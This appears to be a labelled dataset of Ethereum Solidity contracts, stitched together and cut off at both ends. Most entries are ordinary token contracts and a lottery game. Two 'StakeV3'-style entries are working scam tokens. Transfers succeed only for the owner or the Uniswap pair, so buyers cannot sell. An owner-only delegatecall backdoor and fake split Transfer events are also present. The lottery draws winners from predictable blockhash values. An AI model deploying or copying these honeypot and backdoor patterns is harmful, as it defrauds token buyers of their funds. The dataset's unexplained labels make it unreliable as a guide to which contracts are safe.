emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,532 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "EtherFit";
string public constant TOKEN_SYMBOL = "eFIT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xFc058047450d7e627befB95457Cf6CdF9F5E51F4;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[2] memory addresses = [address(0x8c871a1f71c070be07d69cf09afb7f088bd3bb0a),address(0xfc058047450d7e627befb95457cf6cdf9f5e51f4)];
uint[2] memory amounts = [uint(1000000000000000000000000),uint(99000000000000000000000000)];
uint64[2] memory freezes = [uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,634 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract StakeV3 {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,058 |
pragma solidity 0.4.25;
interface IERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
contract LotteryTicket {
address owner;
string public constant name = "LotteryTicket";
string public constant symbol = "✓";
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
owner = msg.sender;
}
function emitEvent(address addr) public {
require(msg.sender == owner);
emit Transfer(msg.sender, addr, 1);
}
}
contract WinnerTicket {
address owner;
string public constant name = "WinnerTicket";
string public constant symbol = "✓";
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
owner = msg.sender;
}
function emitEvent(address addr) public {
require(msg.sender == owner);
emit Transfer(msg.sender, addr, 1);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Storage {
address game;
mapping (address => uint256) public amount;
mapping (uint256 => address[]) public level;
uint256 public count;
uint256 public maximum;
constructor() public {
game = msg.sender;
}
function purchase(address addr) public {
require(msg.sender == game);
amount[addr]++;
if (amount[addr] > 1) {
level[amount[addr]].push(addr);
if (amount[addr] > 2) {
for (uint256 i = 0; i < level[amount[addr] - 1].length; i++) {
if (level[amount[addr] - 1][i] == addr) {
delete level[amount[addr] - 1][i];
break;
}
}
} else if (amount[addr] == 2) {
count++;
}
if (amount[addr] > maximum) {
maximum = amount[addr];
}
}
}
function draw(uint256 goldenWinners) public view returns(address[] addresses) {
addresses = new address[](goldenWinners);
uint256 winnersCount;
for (uint256 i = maximum; i >= 2; i--) {
for (uint256 j = 0; j < level[i].length; j++) {
if (level[i][j] != address(0)) {
addresses[winnersCount] = level[i][j];
winnersCount++;
if (winnersCount == goldenWinners) {
return;
}
}
}
}
}
}
contract RefStorage is Ownable {
IERC20 public token;
mapping (address => bool) public contracts;
uint256 public prize = 0.00005 ether;
uint256 public interval = 100;
mapping (address => Player) public players;
struct Player {
uint256 tickets;
uint256 checkpoint;
address referrer;
}
event ReferrerAdded(address player, address referrer);
event BonusSent(address recipient, uint256 amount);
modifier restricted() {
require(contracts[msg.sender]);
_;
}
constructor() public {
token = IERC20(address(0x9f9EFDd09e915C1950C5CA7252fa5c4F65AB049B));
}
function changeContracts(address contractAddr) public onlyOwner {
contracts[contractAddr] = true;
}
function changePrize(uint256 newPrize) public onlyOwner {
prize = newPrize;
}
function changeInterval(uint256 newInterval) public onlyOwner {
interval = newInterval;
}
function newTicket() external restricted {
players[tx.origin].tickets++;
if (players[tx.origin].referrer != address(0) && (players[tx.origin].tickets - players[tx.origin].checkpoint) % interval == 0) {
if (token.balanceOf(address(this)) >= prize * 2) {
token.transfer(tx.origin, prize);
emit BonusSent(tx.origin, prize);
token.transfer(players[tx.origin].referrer, prize);
emit BonusSent(players[tx.origin].referrer, prize);
}
}
}
function addReferrer(address referrer) external restricted {
if (players[tx.origin].referrer == address(0) && players[referrer].tickets >= interval && referrer != tx.origin) {
players[tx.origin].referrer = referrer;
players[tx.origin].checkpoint = players[tx.origin].tickets;
emit ReferrerAdded(tx.origin, referrer);
}
}
function sendBonus(address winner) external restricted {
if (token.balanceOf(address(this)) >= prize) {
token.transfer(winner, prize);
emit BonusSent(winner, prize);
}
}
function withdrawERC20(address ERC20Token, address recipient) external onlyOwner {
uint256 amount = IERC20(ERC20Token).balanceOf(address(this));
IERC20(ERC20Token).transfer(recipient, amount);
}
function ticketsOf(address player) public view returns(uint256) {
return players[player].tickets;
}
function referrerOf(address player) public view returns(address) {
return players[player].referrer;
}
}
contract Lottery1ETH is Ownable {
Storage public x;
RefStorage public RS;
LotteryTicket public LT;
WinnerTicket public WT;
uint256 constant public PRICE = 0.01 ether;
address[] public players;
uint256 public limit = 100;
uint256 public futureblock;
uint256 public gameCount;
bool public paused;
uint256[] silver = [10, 0.02 ether];
uint256[] gold = [2, 0.05 ether];
uint256[] brilliant = [1, 0.50 ether];
event NewPlayer(address indexed addr, uint256 indexed gameCount);
event SilverWinner(address indexed addr, uint256 prize, uint256 indexed gameCount);
event GoldenWinner(address indexed addr, uint256 prize, uint256 indexed gameCount);
event BrilliantWinner(address indexed addr, uint256 prize, uint256 indexed gameCount);
event txCostRefunded(address indexed addr, uint256 amount);
event FeePayed(address indexed owner, uint256 amount);
modifier notFromContract() {
address addr = msg.sender;
uint256 size;
assembly { size := extcodesize(addr) }
require(size <= 0);
_;
}
constructor(address RS_Addr) public {
x = new Storage();
LT = new LotteryTicket();
WT = new WinnerTicket();
RS = RefStorage(RS_Addr);
gameCount++;
}
function() public payable notFromContract {
if (players.length == 0 && paused) {
revert();
}
if (players.length == limit) {
drawing();
if (players.length == 0 && paused || msg.value < PRICE) {
msg.sender.transfer(msg.value);
return;
}
}
require(msg.value >= PRICE);
if (msg.value > PRICE) {
msg.sender.transfer(msg.value - PRICE);
}
if (msg.data.length != 0) {
RS.addReferrer(bytesToAddress(bytes(msg.data)));
}
players.push(msg.sender);
x.purchase(msg.sender);
RS.newTicket();
LT.emitEvent(msg.sender);
emit NewPlayer(msg.sender, gameCount);
if (players.length == limit) {
drawing();
}
}
function drawing() internal {
require(block.number > futureblock, "Awaiting for a future block");
if (block.number >= futureblock + 240) {
futureblock = block.number + 10;
return;
}
uint256 gas = gasleft();
for (uint256 i = 0; i < silver[0]; i++) {
address winner = players[uint((blockhash(futureblock - 1 - i))) % players.length];
winner.send(silver[1]);
WT.emitEvent(winner);
emit SilverWinner(winner, silver[1], gameCount);
}
uint256 goldenWinners = gold[0];
uint256 goldenPrize = gold[1];
if (x.count() < gold[0]) {
goldenWinners = x.count();
goldenPrize = gold[0] * gold[1] / x.count();
}
if (goldenWinners != 0) {
address[] memory addresses = x.draw(goldenWinners);
for (uint256 k = 0; k < addresses.length; k++) {
addresses[k].send(goldenPrize);
RS.sendBonus(addresses[k]);
WT.emitEvent(addresses[k]);
emit GoldenWinner(addresses[k], goldenPrize, gameCount);
}
}
uint256 laps = 7;
uint256 winnerIdx;
uint256 indexes = players.length * 1e18;
for (uint256 j = 0; j < laps; j++) {
uint256 change = (indexes) / (2 ** (j+1));
if (uint(blockhash(futureblock - j)) % 2 == 0) {
winnerIdx += change;
}
}
winnerIdx = winnerIdx / 1e18;
players[winnerIdx].send(brilliant[1]);
WT.emitEvent(players[winnerIdx]);
emit BrilliantWinner(players[winnerIdx], brilliant[1], gameCount);
players.length = 0;
futureblock = 0;
x = new Storage();
gameCount++;
uint256 txCost = tx.gasprice * (gas - gasleft());
msg.sender.send(txCost);
emit txCostRefunded(msg.sender, txCost);
uint256 fee = address(this).balance - msg.value;
owner.send(fee);
emit FeePayed(owner, fee);
}
function pause() public onlyOwner {
paused = true;
}
function unpause() public onlyOwner {
paused = false;
}
function withdrawERC20(address ERC20Token, address recipient) external onlyOwner {
uint256 amount = IERC20(ERC20Token).balanceOf(address(this));
IERC20(ERC20Token).transfer(recipient, amount);
}
function bytesToAddress(bytes source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(source,0x14))
}
return parsedReferrer;
}
function amountOfPlayers() public view returns(uint) {
return players.length;
}
function referrerOf(address player) external view returns(address) {
return RS.referrerOf(player);
}
function ticketsOf(address player) external view returns(uint256) {
return RS.ticketsOf(player);
}
} | 0 | 2,166 |
pragma solidity ^0.4.13;
contract ERC20Interface {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract VjuCoin is ERC20Interface {
string public constant symbol = "VJU";
string public constant name = "VjuCoin";
uint8 public constant decimals = 0;
uint256 _totalSupply = 100000000;
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
modifier onlyOwner() {
if (msg.sender != owner) {revert();}
_;
}
function VjuCoin() {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply() constant returns (uint256 supply) {
supply = _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {return false;}
}
function transferFrom(address _from,address _to,uint256 _amount) returns (bool success) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {return false;}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () {
revert();
}
} | 1 | 4,560 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract EthereumBlack {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public funds;
address public director;
bool public saleClosed;
bool public directorLock;
uint256 public claimAmount;
uint256 public payAmount;
uint256 public feeAmount;
uint256 public epoch;
uint256 public retentionMax;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public buried;
mapping (address => uint256) public claimed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _from, uint256 _value);
event Bury(address indexed _target, uint256 _value);
event Claim(address indexed _target, address indexed _payout, address indexed _fee);
function EthereumBlack() public {
director = msg.sender;
name = "Ethereum Black Token";
symbol = "ETBT";
decimals = 18;
saleClosed = false;
directorLock = false;
funds = 0;
totalSupply = 0;
totalSupply += 1750000 * 10 ** uint256(decimals);
totalSupply += 1295000 * 10 ** uint256(decimals);
totalSupply += 280000 * 10 ** uint256(decimals);
totalSupply += 175000 * 10 ** uint256(decimals);
balances[director] = totalSupply;
claimAmount = 5 * 10 ** (uint256(decimals) - 1);
payAmount = 4 * 10 ** (uint256(decimals) - 1);
feeAmount = 1 * 10 ** (uint256(decimals) - 1);
epoch = 31536000;
retentionMax = 40 * 10 ** uint256(decimals);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
modifier onlyDirector {
require(!directorLock);
require(msg.sender == director);
_;
}
modifier onlyDirectorForce {
require(msg.sender == director);
_;
}
function transferDirector(address newDirector) public onlyDirectorForce {
director = newDirector;
}
function withdrawFunds() public onlyDirectorForce {
director.transfer(this.balance);
}
function selfLock() public payable onlyDirector {
require(saleClosed);
require(msg.value == 10 ether);
directorLock = true;
}
function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) {
require(claimAmountSet == (payAmountSet + feeAmountSet));
claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy);
payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy);
feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function amendEpoch(uint256 epochSet) public onlyDirector returns (bool success) {
epoch = epochSet;
return true;
}
function amendRetention(uint8 retentionSet, uint8 accuracy) public onlyDirector returns (bool success) {
retentionMax = retentionSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function closeSale() public onlyDirector returns (bool success) {
require(!saleClosed);
saleClosed = true;
return true;
}
function openSale() public onlyDirector returns (bool success) {
